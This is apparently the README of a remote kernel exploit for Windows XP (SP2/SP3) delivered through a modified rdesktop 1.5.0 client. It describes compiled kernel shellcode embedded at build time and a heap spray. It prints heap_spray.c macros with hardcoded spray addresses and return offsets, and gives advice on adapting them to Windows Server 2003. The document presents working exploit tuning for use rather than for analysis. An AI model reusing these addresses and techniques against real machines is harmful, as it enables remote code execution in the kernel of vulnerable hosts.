
funciona no xp (todas as versões sp2 sp3)
Nota: shellcode/shellcode.asm é o código fonte do shellcode do kernel, após compilação e conversão para binário, ele se torna o arquivo rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, que será compilado diretamente no programa durante o make.
Atualmente só suporta XP, requer memória do XP >= 2 GB
Se precisar suportar 2003, é necessário modificar o endereço da macro HEAP_SPRAY_ADDRESS dentro de heap_spray.c. Após testes repetidos, este endereço varia em diferentes versões do sistema 03 e diferentes tamanhos de memória. No entanto, se for testar na sua própria máquina, é possível explorar com sucesso no 03. Não é universal.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 // É necessário depurar o endereço do shellcode de heap spray com windbg. Se alguém encontrar uma solução universal, por favor submeta um issue.
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Teste no 03
